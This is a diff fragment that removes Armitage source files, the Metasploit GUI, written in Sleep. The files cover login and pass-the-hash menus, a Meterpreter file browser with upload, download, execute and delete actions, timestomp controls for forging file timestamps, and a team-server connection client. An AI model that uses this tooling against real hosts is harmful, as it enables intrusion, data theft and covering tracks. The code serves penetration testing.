[$console addCommand: $null, "use $result"];
|
|
||||||
[$console addCommand: $null, "set RHOST $h"];
|
|
||||||
[$console addCommand: $null, "check"];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$console start];
|
|
||||||
[$console stop];
|
|
||||||
}, $hosts => $2, \$exploits));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$name %options $a $port $host $service');
|
|
||||||
%options = ohash();
|
|
||||||
|
|
||||||
foreach $host ($2) {
|
|
||||||
foreach $port => $service (%hosts[$host]['services']) {
|
|
||||||
$name = $service['name'];
|
|
||||||
if ($port == 445 && "*Windows*" iswm getHostOS($host)) {
|
|
||||||
%options["psexec"] = lambda(&pass_the_hash, $hosts => $2);
|
|
||||||
}
|
|
||||||
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
|
|
||||||
%options[$name] = lambda(&show_login_dialog, \$service, $hosts => $2);
|
|
||||||
}
|
|
||||||
else if ($name eq "microsoft-ds") {
|
|
||||||
%options["psexec"] = lambda(&pass_the_hash, $hosts => $2);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (size(%options) > 0) {
|
|
||||||
$a = menu($1, 'Login', 'L');
|
|
||||||
foreach $name (sorta(keys(%options))) {
|
|
||||||
item($a, $name, $null, %options[$name]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub chooseSession {
|
|
||||||
local('@data $sid $data $host $hdata $temp $tablef');
|
|
||||||
|
|
||||||
# obtain a list of sessions
|
|
||||||
foreach $host (keys(%hosts)) {
|
|
||||||
foreach $sid => $data (getSessions($host)) {
|
|
||||||
$temp = copy($data);
|
|
||||||
$temp['sid'] = $sid;
|
|
||||||
push(@data, $temp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# sort the session data
|
|
||||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
|
||||||
|
|
||||||
# update the table widths
|
|
||||||
$tablef = {
|
|
||||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
|
||||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
|
||||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
|
||||||
};
|
|
||||||
|
|
||||||
# let the user choose a session
|
|
||||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
|
||||||
[$call : $1];
|
|
||||||
}, $call => $4), \$tablef);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub addFileListener {
|
|
||||||
local('$table $model $actions');
|
|
||||||
($table, $model, $actions) = @_;
|
|
||||||
|
|
||||||
if ($actions is $null) {
|
|
||||||
$actions = %();
|
|
||||||
}
|
|
||||||
|
|
||||||
# set up an action to pop up a file chooser for different file type values.
|
|
||||||
$actions["*FILE*"] = {
|
|
||||||
local('$title $temp');
|
|
||||||
$title = "Select $1";
|
|
||||||
$temp = iff($2 eq "",
|
|
||||||
chooseFile(\$title, $dir => $DATA_DIRECTORY),
|
|
||||||
chooseFile(\$title, $sel => $2)
|
|
||||||
);
|
|
||||||
if ($temp !is $null) {
|
|
||||||
[$4: strrep($temp, "\\", "\\\\")];
|
|
||||||
}
|
|
||||||
};
|
|
||||||
$actions["NAMELIST"] = $actions["*FILE*"];
|
|
||||||
$actions["DICTIONARY"] = $actions["*FILE*"];
|
|
||||||
$actions["Template"] = $actions["*FILE*"];
|
|
||||||
$actions["SigningCert"] = $actions["*FILE*"];
|
|
||||||
$actions["SigningKey"] = $actions["*FILE*"];
|
|
||||||
$actions["Wordlist"] = $actions["*FILE*"];
|
|
||||||
$actions["EXE::Custom"] = $actions["*FILE*"];
|
|
||||||
$actions["EXE::Template"] = $actions["*FILE*"];
|
|
||||||
$actions["WORDLIST"] = $actions["*FILE*"];
|
|
||||||
$actions["REXE"] = $actions["*FILE*"];
|
|
||||||
|
|
||||||
# set up an action to choose a session
|
|
||||||
$actions["SESSION"] = lambda(&chooseSession);
|
|
||||||
|
|
||||||
# helpers to set credential pairs from database... yay?
|
|
||||||
$actions["USERNAME"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD");
|
|
||||||
$actions["PASSWORD"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD");
|
|
||||||
$actions["SMBUser"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass");
|
|
||||||
$actions["SMBPass"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass");
|
|
||||||
|
|
||||||
# set up an action to pop up a file chooser for different file type values.
|
|
||||||
$actions["RHOST"] = {
|
|
||||||
local('$title $temp');
|
|
||||||
$title = "Select $1";
|
|
||||||
$temp = chooseFile(\$title, $dir => ".", $always => "1");
|
|
||||||
if ($temp !is $null) {
|
|
||||||
local('$handle');
|
|
||||||
$handle = openf($temp);
|
|
||||||
@addresses = readAll($handle);
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
[$4: join(", ", @addresses)];
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
$actions["RHOSTS"] = $actions["RHOST"];
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
|
||||||
local('$type $row $action $change $value');
|
|
||||||
|
|
||||||
$value = [$model getSelectedValueFromColumn: $table, "Value"];
|
|
||||||
$type = [$model getSelectedValueFromColumn: $table, "Option"];
|
|
||||||
$row = [$model getSelectedRow: $table];
|
|
||||||
|
|
||||||
foreach $action => $change ($actions) {
|
|
||||||
if ($action iswm $type) {
|
|
||||||
[$change: $type, $value, $row, lambda({;
|
|
||||||
[$model setValueAtRow: $row, "Value", "$1"];
|
|
||||||
[$model fireListeners];
|
|
||||||
}, \$model, \$row)];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$model, \$table, \$actions));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub rankScore {
|
|
||||||
return %(normal => 1, good => 2, great => 3, excellent => 4)[$1];
|
|
||||||
}
|
|
|
@ -1,477 +0,0 @@
|
||||||
#
|
|
||||||
# File Browser (for Meterpreter)
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
import tree.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
import javax.swing.filechooser.*;
|
|
||||||
import javax.swing.text.*;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
global('%files %paths %attribs');
|
|
||||||
%files = ohash();
|
|
||||||
%paths = ohash();
|
|
||||||
%attribs = ohasha();
|
|
||||||
setMissPolicy(%paths, { return [new PlainDocument]; });
|
|
||||||
setMissPolicy(%files, { return [new GenericTableModel: @("D", "Name", "Size", "Modified", "Mode"), "Name", 128]; });
|
|
||||||
|
|
||||||
sub parseListing {
|
|
||||||
local('$model');
|
|
||||||
$model = %files[$1];
|
|
||||||
|
|
||||||
if ($0 eq "begin") {
|
|
||||||
[$model clear: 128];
|
|
||||||
}
|
|
||||||
else if ($0 eq "end") {
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
else if ($0 eq "update") {
|
|
||||||
if ("*Operation failed*" iswm $2) {
|
|
||||||
showError("$2 $+ \n\nMaybe you don't have permission to access \nthis folder? Press the Refresh button.");
|
|
||||||
}
|
|
||||||
else if ($2 ismatch 'Listing: (.*?)' || $2 ismatch 'No entries exist in (.*?)') {
|
|
||||||
local('$path');
|
|
||||||
($path) = matched();
|
|
||||||
[%paths[$1] remove: 0, [%paths[$1] getLength]];
|
|
||||||
[%paths[$1] insertString: 0, $path, $null];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
local('$mode $size $type $last $name');
|
|
||||||
($mode, $size, $type, $last, $name) = split('\s{2,}', $2);
|
|
||||||
|
|
||||||
if ($size ismatch '\d+' && $name ne "." && $name ne "..") {
|
|
||||||
[$model addEntry: %(Name => $name, D => $type, Size => iff($type eq "dir", "", $size), Modified => $last, Mode => $mode)];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
%handlers["ls"] = &parseListing;
|
|
||||||
|
|
||||||
# setupSizeRenderer($table, "columnname")
|
|
||||||
sub setupSizeRenderer {
|
|
||||||
[[$1 getColumn: $2] setCellRenderer: [ATable getSizeTableRenderer]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub listDrives {
|
|
||||||
local('$queue');
|
|
||||||
$queue = [new armitage.ConsoleQueue: $client];
|
|
||||||
[$model clear: 128];
|
|
||||||
[$queue addCommand: $null, "use post/windows/gather/forensics/enum_drives"];
|
|
||||||
[$queue addCommand: $null, "set SESSION $1"];
|
|
||||||
[$queue addCommand: "x", "run"];
|
|
||||||
[$queue addListener: lambda({
|
|
||||||
local('@entries $entry $d $s $f');
|
|
||||||
@entries = parseTextTable($3, @('Device Name.', 'Type.', 'Size .bytes..'));
|
|
||||||
foreach $entry (@entries) {
|
|
||||||
$d = $entry['Device Name.'];
|
|
||||||
if ($d ismatch '....([A-Z]\\:)') {
|
|
||||||
[$model addEntry: %(Name => matched()[0], D => "dir", Size => "", Modified => "", Mode => "")];
|
|
||||||
$f = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[$refresh setEnabled: 1];
|
|
||||||
[$model fireListeners];
|
|
||||||
[$queue stop];
|
|
||||||
}, \$queue, \$model, \$refresh)];
|
|
||||||
[$refresh setEnabled: 0];
|
|
||||||
[$queue start];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createFileBrowser {
|
|
||||||
local('$table $tree $model $panel $split $scroll1 $sorter $up $text $fsv $chooser $upload $mkdir $refresh $top $setcwd $drives');
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$model = %files[$1];
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
[$table setShowGrid: 0];
|
|
||||||
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
# file size column
|
|
||||||
[$sorter setComparator: 2, {
|
|
||||||
return long($1) <=> long($2);
|
|
||||||
}];
|
|
||||||
|
|
||||||
# last modified column
|
|
||||||
[$sorter setComparator: 3, {
|
|
||||||
return convertDate($1) <=> convertDate($2);
|
|
||||||
}];
|
|
||||||
|
|
||||||
[[$table getColumn: "D"] setMaxWidth: 38];
|
|
||||||
|
|
||||||
[[$table getColumn: "D"] setCellRenderer: [ATable getFileTypeTableRenderer]];
|
|
||||||
|
|
||||||
# make sure subsequent columns do not have an icon associated with them...
|
|
||||||
[[$table getColumn: "Name"] setCellRenderer: [ATable getSimpleTableRenderer]];
|
|
||||||
|
|
||||||
setupSizeRenderer($table, "Size");
|
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$text = [new ATextField: %paths[$1], "", 80];
|
|
||||||
[$text addActionListener: lambda({
|
|
||||||
local('$dir');
|
|
||||||
$dir = [[$1 getSource] getText];
|
|
||||||
[$model clear: 128];
|
|
||||||
[$model fireListeners];
|
|
||||||
m_cmd($sid, "cd ' $+ $dir $+ '");
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
[[$1 getSource] setText: ""];
|
|
||||||
}, $sid => $1, \$model)];
|
|
||||||
|
|
||||||
# this function should be called before every browser action to keep things in sync.
|
|
||||||
$setcwd = lambda({
|
|
||||||
m_cmd($sid, "cd '" . [$text getText] . "'");
|
|
||||||
}, \$text, $sid => $1, $platform => $2);
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
|
||||||
local('$model $sel');
|
|
||||||
$model = %files[$sid];
|
|
||||||
$sel = [$model getSelectedValue: $table];
|
|
||||||
|
|
||||||
[$model clear: 128];
|
|
||||||
[$model fireListeners];
|
|
||||||
|
|
||||||
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin $sel && "'" !isin [$text getText]) {
|
|
||||||
if ([$text getText] eq "List Drives") {
|
|
||||||
m_cmd($sid, "cd ' $+ $sel $+ '");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
m_cmd($sid, "cd '" . [$text getText] . "\\ $+ $sel $+ '");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$setcwd];
|
|
||||||
m_cmd($sid, "cd \" $+ $sel $+ \"");
|
|
||||||
}
|
|
||||||
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
[$1 consume];
|
|
||||||
}
|
|
||||||
else if ([$1 isPopupTrigger]) {
|
|
||||||
local('$popup $model');
|
|
||||||
$popup = [new JPopupMenu];
|
|
||||||
$model = %files[$sid];
|
|
||||||
buildFileBrowserMenu($popup, [$model getSelectedValues: $table], convertAll([$model getRows]), \$sid, \$setcwd, \$text);
|
|
||||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
|
||||||
[$1 consume];
|
|
||||||
}
|
|
||||||
}, $sid => $1, \$table, \$setcwd, \$text));
|
|
||||||
|
|
||||||
$fsv = [FileSystemView getFileSystemView];
|
|
||||||
$chooser = [$fsv getSystemIcon: [$fsv getDefaultDirectory]];
|
|
||||||
|
|
||||||
$up = [new JButton: $chooser];
|
|
||||||
#[$up setPressedIcon:
|
|
||||||
# [new ImageIcon: iconToImage($chooser, 2, 2)]
|
|
||||||
#];
|
|
||||||
#[$up setBorder: [BorderFactory createEmptyBorder: 2, 2, 2, 8]];
|
|
||||||
#[$up setOpaque: 0];
|
|
||||||
#[$up setContentAreaFilled: 0];
|
|
||||||
[$up setToolTipText: "Go up one directory"];
|
|
||||||
|
|
||||||
[$up addActionListener: lambda({
|
|
||||||
this('$last');
|
|
||||||
if ((ticks() - $last) < 500) {
|
|
||||||
warn("Dropping cd .. -- too fast");
|
|
||||||
$last = ticks();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$last = ticks();
|
|
||||||
|
|
||||||
[$model clear: 128];
|
|
||||||
[$model fireListeners];
|
|
||||||
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin [$text getText]) {
|
|
||||||
m_cmd($sid, "cd '" . [$text getText] . "\\..'");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$setcwd];
|
|
||||||
m_cmd($sid, "cd ..");
|
|
||||||
}
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
|
|
||||||
|
|
||||||
# setup the whatever it's called...
|
|
||||||
|
|
||||||
$upload = [new JButton: "Upload..."];
|
|
||||||
[$upload addActionListener: lambda({
|
|
||||||
local('$file $name');
|
|
||||||
$file = chooseFile($always => iff($client !is $mclient));
|
|
||||||
$name = getFileName($file);
|
|
||||||
if ($file !is $null) {
|
|
||||||
[$setcwd];
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
# some crazy gymnastics here due to how Sleep handles thread-safety...
|
|
||||||
local('$closure $thread');
|
|
||||||
$closure = lambda({
|
|
||||||
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
|
|
||||||
}, \$sid, \$name, \$file);
|
|
||||||
$thread = [new armitage.ArmitageThread: $closure];
|
|
||||||
|
|
||||||
fork({
|
|
||||||
$file = uploadBigFile($file);
|
|
||||||
$closure['$file'] = $file;
|
|
||||||
[$thread start];
|
|
||||||
}, \$file, \$thread, \$closure, \$mclient);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
# refresh?!?
|
|
||||||
}, $sid => $1, \$setcwd)];
|
|
||||||
|
|
||||||
$mkdir = [new JButton: "Make Directory"];
|
|
||||||
[$mkdir addActionListener: lambda({
|
|
||||||
local('$name');
|
|
||||||
$name = ask("Directory name:");
|
|
||||||
if ($name !is $null) {
|
|
||||||
[$setcwd];
|
|
||||||
m_cmd($sid, "mkdir \" $+ $name $+ \"");
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}
|
|
||||||
# refresh?
|
|
||||||
}, $sid => $1, \$setcwd)];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
if ([$text getText] eq "List Drives") {
|
|
||||||
listDrives($sid, \$model, \$refresh);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$setcwd];
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}
|
|
||||||
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
|
|
||||||
|
|
||||||
$drives = [new JButton: "List Drives"];
|
|
||||||
[$drives addActionListener: lambda({
|
|
||||||
listDrives($sid, \$model, \$refresh);
|
|
||||||
[$text setText: "List Drives"];
|
|
||||||
}, \$refresh, \$model, \$text, $sid => $1)];
|
|
||||||
|
|
||||||
# do the overall layout...
|
|
||||||
|
|
||||||
$top = [new JPanel];
|
|
||||||
[$top setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
|
||||||
[$top setLayout: [new BorderLayout]];
|
|
||||||
[$top add: $text, [BorderLayout CENTER]];
|
|
||||||
[$top add: pad($up, 0, 0, 0, 4), [BorderLayout WEST]];
|
|
||||||
|
|
||||||
[$panel add: $top, [BorderLayout NORTH]];
|
|
||||||
|
|
||||||
if ("*win*" iswm lc(sessionPlatform($1))) {
|
|
||||||
[$panel add: center($upload, $mkdir, $drives, $refresh), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$panel add: center($upload, $mkdir, $refresh), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$frame addTab: "Files $1", $panel, $null, "Files " . sessionToHost($1)];
|
|
||||||
|
|
||||||
m_cmd($1, "ls");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub convertDate {
|
|
||||||
if ($1 ismatch '\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*') {
|
|
||||||
return parseDate('yyyy-MM-dd HH:mm:ss Z', $1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return parseDate("EEE MMM dd HH:mm:ss Z yyyy", $1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# automagically store timestomp attributes...
|
|
||||||
%handlers["timestomp"] = {
|
|
||||||
if ($0 eq "update" && $2 ismatch '([MACE].*?)\s*: (.*)') {
|
|
||||||
local('$type $value $d');
|
|
||||||
($type, $value) = matched();
|
|
||||||
%attribs[["$type" trim]] = formatDate(convertDate($value), 'MM/dd/yyyy HH:mm:ss');
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
sub openFileViewer {
|
|
||||||
local('$dialog $display');
|
|
||||||
$dialog = [new JPanel];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
$display = [new console.Display: $preferences];
|
|
||||||
[$dialog add: $display, [BorderLayout CENTER]];
|
|
||||||
[$frame addTab: "View", $dialog, $null, $null];
|
|
||||||
return $display;
|
|
||||||
}
|
|
||||||
|
|
||||||
%handlers["cat"] = {
|
|
||||||
this('$file @files');
|
|
||||||
if ($0 eq "begin") {
|
|
||||||
$file = shift(@files);
|
|
||||||
local('$host $handle');
|
|
||||||
|
|
||||||
# show the file
|
|
||||||
$host = sessionToHost($1);
|
|
||||||
[$display append: "
|
|
||||||
\c9#
|
|
||||||
\c9# $host $+ : $file
|
|
||||||
\c9#\n"];
|
|
||||||
if ($2 !ismatch '\p{ASCII}*') {
|
|
||||||
[$display append: "\c4This is a binary file\n"];
|
|
||||||
# don't save binary files as the cat command doesn't preserve them
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$display append: $2];
|
|
||||||
|
|
||||||
# save the file
|
|
||||||
mkdir(getFileProper(dataDirectory(), "downloads", $host, $path));
|
|
||||||
$handle = openf(">" . getFileProper(dataDirectory(), "downloads", $host, $path, $file));
|
|
||||||
writeb($handle, $2);
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
sub buildFileBrowserMenu {
|
|
||||||
# ($popup, [$model getSelectedValue: $table], @rows);
|
|
||||||
|
|
||||||
# turn @rows into %(file => type)
|
|
||||||
local('%types');
|
|
||||||
map(lambda({ %types[$1["Name"]] = $1["D"]; }, \%types), $3);
|
|
||||||
|
|
||||||
# need to pass current working directory, selected file, and type
|
|
||||||
setupMenu($1, "file_browser", @($2, %types, [$text getText]));
|
|
||||||
|
|
||||||
item($1, "View", 'V', lambda({
|
|
||||||
local('$f $dir @temp $tdir');
|
|
||||||
|
|
||||||
@temp = split('\\\\', [$text getText]);
|
|
||||||
$dir = join("/", @temp);
|
|
||||||
%handlers['cat']['$path'] = $dir;
|
|
||||||
%handlers['cat']['@files'] = @();
|
|
||||||
%handlers['cat']['$display'] = openFileViewer();
|
|
||||||
|
|
||||||
[$setcwd];
|
|
||||||
foreach $f ($file) {
|
|
||||||
push(%handlers['cat']['@files'], $f);
|
|
||||||
m_cmd($sid, "cat \" $+ $f $+ \"");
|
|
||||||
}
|
|
||||||
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
|
|
||||||
|
|
||||||
item($1, "Download", 'D', lambda({
|
|
||||||
local('$f $dir @temp $tdir');
|
|
||||||
@temp = split('\\\\', [$text getText]);
|
|
||||||
$dir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp)), "\\", "/");
|
|
||||||
|
|
||||||
foreach $f ($file) {
|
|
||||||
[$setcwd];
|
|
||||||
if (%types[$f] eq "dir") {
|
|
||||||
$tdir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp), $f), "\\", "/");
|
|
||||||
m_cmd($sid, "download -r \" $+ $f $+ \" \" $+ $tdir $+ \"");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
m_cmd($sid, "download \" $+ $f $+ \" \" $+ $dir $+ \"");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
|
|
||||||
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
|
|
||||||
fire_event_async("user_download", $sid, $file);
|
|
||||||
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
|
|
||||||
|
|
||||||
item($1, "Execute", 'E', lambda({
|
|
||||||
local('$f $args');
|
|
||||||
[$setcwd];
|
|
||||||
|
|
||||||
$args = ask("Arguments?");
|
|
||||||
|
|
||||||
foreach $f ($file) {
|
|
||||||
if ($args eq "") {
|
|
||||||
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$args = strrep($args, '\\', '\\\\');
|
|
||||||
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k -a \" $+ $args $+ \"");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, $file => $2, \$sid, \$setcwd));
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
# use timestomp to make sure the date/time stamp is the same. :)
|
|
||||||
local('$t $key $value');
|
|
||||||
$t = menu($1, "Timestomp", 'T');
|
|
||||||
item($t, "Get MACE values", 'G', lambda({
|
|
||||||
[$setcwd];
|
|
||||||
m_cmd($sid, "timestomp \" $+ $f $+ \" -v");
|
|
||||||
}, \$sid, $f => $2[0], \$setcwd));
|
|
||||||
|
|
||||||
if (size(%attribs) > 0) {
|
|
||||||
separator($t);
|
|
||||||
|
|
||||||
foreach $key => $value (%attribs) {
|
|
||||||
item($t, "Set $key to $value", $null, lambda({
|
|
||||||
local('%switches $s $f');
|
|
||||||
[$setcwd];
|
|
||||||
foreach $f ($files) {
|
|
||||||
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
|
|
||||||
%switches["Entry Modified"] = '-e';
|
|
||||||
$s = %switches[$key];
|
|
||||||
m_cmd($sid, "timestomp \" $+ $f $+ \" $s \" $+ $value $+ \"");
|
|
||||||
}
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}, $files => $2, \$sid, $key => "$key", $value => "$value", \$setcwd));
|
|
||||||
}
|
|
||||||
|
|
||||||
separator($t);
|
|
||||||
item($t, "Set MACE values", 'S', lambda({
|
|
||||||
local('$f %switches $s $cmd $key $value');
|
|
||||||
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
|
|
||||||
%switches["Entry Modified"] = '-e';
|
|
||||||
|
|
||||||
[$setcwd];
|
|
||||||
|
|
||||||
foreach $f ($files) {
|
|
||||||
$cmd = "timestomp \" $+ $f $+ \"";
|
|
||||||
|
|
||||||
foreach $key => $value (%attribs) {
|
|
||||||
$s = %switches[$key];
|
|
||||||
$cmd = "$cmd $s \" $+ $value $+ \"";
|
|
||||||
}
|
|
||||||
|
|
||||||
m_cmd($sid, $cmd);
|
|
||||||
}
|
|
||||||
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}, $files => $2, \$sid, \$setcwd));
|
|
||||||
}
|
|
||||||
|
|
||||||
item($1, "Delete", 'l', lambda({
|
|
||||||
local('$f');
|
|
||||||
[$setcwd];
|
|
||||||
foreach $f ($file) {
|
|
||||||
if (%types[$f] eq "dir") {
|
|
||||||
m_cmd($sid, "rmdir \" $+ $f $+ \"");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
m_cmd($sid, "rm \" $+ $f $+ \"");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}, $file => $2, \$sid, \%types, \$setcwd));
|
|
||||||
}
|
|
||||||
|
|
||||||
# Buttons:
|
|
||||||
# [upload...] [make directory]
|
|
||||||
#
|
|
|
@ -1,180 +0,0 @@
|
||||||
#
|
|
||||||
# Armitage Collaboration Feature... make no mistake, I'm extremely excited about this.
|
|
||||||
#
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import armitage.*;
|
|
||||||
import console.*;
|
|
||||||
import ssl.*;
|
|
||||||
|
|
||||||
sub createEventLogTab {
|
|
||||||
this('$console $client');
|
|
||||||
|
|
||||||
if ($client is $null && $console is $null) {
|
|
||||||
$console = [new ActivityConsole: $preferences];
|
|
||||||
setupEventStyle($console);
|
|
||||||
logCheck($console, "all", "events");
|
|
||||||
|
|
||||||
# define a menu for the eventlog
|
|
||||||
[$console setPopupMenu: {
|
|
||||||
installMenu($2, "eventlog", @());
|
|
||||||
}];
|
|
||||||
|
|
||||||
$client = [$cortana getEventLog: $console];
|
|
||||||
[$client setEcho: $null];
|
|
||||||
[$console updatePrompt: "> "];
|
|
||||||
[new EventLogTabCompletion: $console, $mclient];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$console updateProperties: $preferences];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$frame addTab: "Event Log", $console, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub verify_server {
|
|
||||||
this('%rejected');
|
|
||||||
local('$fingerprints $fingerprint $check');
|
|
||||||
$fingerprints = split(', ', [$preferences getProperty: "trusted.servers", ""]);
|
|
||||||
foreach $fingerprint ($fingerprints) {
|
|
||||||
if ($fingerprint eq $1) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (%rejected[$1] == 1) {
|
|
||||||
return $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
$check = askYesNo("The team server's fingerprint is:\n\n<html><body><b> $+ $1 $+ </b></body></html>\n\nDoes this match the fingerprint shown\nwhen the team server started?", "Verify Fingerprint");
|
|
||||||
|
|
||||||
if ($check) {
|
|
||||||
%rejected[$1] = 1;
|
|
||||||
return $null;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
push($fingerprints, $1);
|
|
||||||
[$preferences setProperty: "trusted.servers", join(", ", $fingerprints)];
|
|
||||||
savePreferences();
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub c_client {
|
|
||||||
# run this thing in its own thread to avoid really stupid deadlock situations
|
|
||||||
local('$handle');
|
|
||||||
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
|
|
||||||
push(@CLOSEME, $handle);
|
|
||||||
return wait(fork({
|
|
||||||
local('$client');
|
|
||||||
$client = newInstance(^RpcConnection, lambda({
|
|
||||||
writeObject($handle, @_);
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
return readObject($handle);
|
|
||||||
}, \$handle));
|
|
||||||
return [new RpcAsync: $client];
|
|
||||||
}, \$handle));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub userFingerprint {
|
|
||||||
return unpack("H*", digest(values(systemProperties(), @("os.name", "user.home", "os.version")), "MD5"))[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setup_collaboration {
|
|
||||||
local('$nick %r $mclient');
|
|
||||||
|
|
||||||
$nick = ask("What is your nickname?");
|
|
||||||
|
|
||||||
while (["$nick" trim] eq "") {
|
|
||||||
$nick = ask("You can't use a blank nickname. What do you want?");
|
|
||||||
}
|
|
||||||
|
|
||||||
$mclient = c_client($3, $4);
|
|
||||||
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
|
|
||||||
if (%r["error"] eq "1") {
|
|
||||||
showErrorAndQuit(%r["message"]);
|
|
||||||
